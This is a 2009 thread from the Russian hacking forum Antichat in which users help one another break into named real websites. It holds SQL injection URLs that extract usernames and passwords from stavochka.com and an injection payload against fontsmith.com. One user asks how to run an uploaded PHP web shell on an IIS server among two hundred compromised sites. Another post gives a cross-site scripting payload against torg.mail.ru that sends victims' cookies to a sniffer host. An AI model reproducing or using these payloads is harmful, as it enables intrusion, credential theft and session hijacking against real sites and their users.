Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
07.03.2009, 19:37
|
|
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964
Репутация:
302
|
|
Народ подскажите какой префикс у таблиц форума http://www.stavochka.com/forum/index.php а то я ужо за''''ся =)
|
|
|
07.03.2009, 19:40
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
http://up.cih.ms/ettee/sql/
По дефолту
phpbb_
|
|
|
|
07.03.2009, 19:53
|
|
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964
Репутация:
302
|
|
jokester, там не дефолт... Не канает phpbb_ Вот смотри сам..
http://www.new.stavochka.com/view.php?contentid=999999999999%20union%20select%2 01,2,3,4,username,6,7,8,9,10%20%20from%20phpbb_use rs--
Есть подозрение что там ваще без префикса
http://www.new.stavochka.com/view.php?contentid=999999999999%20union%20select%2 01,2,3,4,username,6,7,8,9,10%20%20from%20users--
Но тогда почему нету user_password ?? блин.
|
|
|
|
07.03.2009, 20:07
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020
Репутация:
1423
|
|
http://www.new.stavochka.com/view.php?contentid=999999999999+union+select+1,2,3 ,4,concat_ws(0x2F,username,userpassword),6,7,8,9,1 0+from+users--
Смотри сурс странички авторизации
<input name=userpassword size=18 type=password>
Бывает, что совпадает с именем колумна (но не всегда конечно). А таблицы форума могут лежать в другой базе, к которой вообще может не быть доступа
|
|
|
|
07.03.2009, 20:13
|
|
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964
Репутация:
302
|
|
ElteRUS, спс. + воткнуть не могу седня уже исчерпал лимит!!
|
|
|
|
07.03.2009, 22:57
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235
Репутация:
39
|
|
Привет, сорри за нубский вопрос, залил пхп шелл на один сайт и обнаружил, что кроме него там еще две сотни, файл я могу залить папку к каждому, и вот я заливаю шелл в нужную мне папку, дергаю из браузера, но пхп не интерпретируется, файлы используются cfm (получается в одной папке пхп катит, в другой - нет), я бы залил хтаксес, но там Microsoft-IIS/5.0 сервак. Как залить шелл? Спасибо
зы: нужно для общего развития)
|
|
|
|
08.03.2009, 11:30
|
|
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
Провел на форуме:
1686744
Репутация:
246
|
|
Че-то я не пойму как раскрутить её
http://www.fontsmith.com/custom.php?id=807
|
|
|
|
08.03.2009, 11:50
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
S0ulVortex, слепая скуля.
Код:
http://www.fontsmith.com/custom.php?id=9'+union+select+1,2,3,4,5,6,7,8,9/*
проблема в том что стоит два (или четыре) подряд запроса с разным количеством полей в запросе и параметр подставляется туда и туда. Получается если заюзать количество столбиков в юнионе которое равно количеству в первом запросе, то второй выдаст ошибку, если равное количеству во втором то ошибку выдаст первый, если вообще левое, то ОБА выдадут ошибку (это и есть твои 4 ошибки).
|
|
|
|
08.03.2009, 17:14
|
|
Новичок
Регистрация: 04.03.2009
Сообщений: 23
Провел на форуме:
59175
Репутация:
0
|
|
Вопрос:
допустим я нашол XSS - http://torg.mail.ru/news/?0103/2009"><script>alert(document.cookie)</script>
Вопрос, как её заносить в ссылку по которой должен отклик от жертвы произойти со скоиптом ("><script>alert(document.cookie)</script>) или без ?????
|
|
|
|
08.03.2009, 17:26
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
http://torg.mail.ru/news/?0103/2009"><script>img = new Image(); img.src = "http://сниффер?"+document.cookie;</script>
так. статьи почитай, в них все это описано. от Micr0b'a например.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
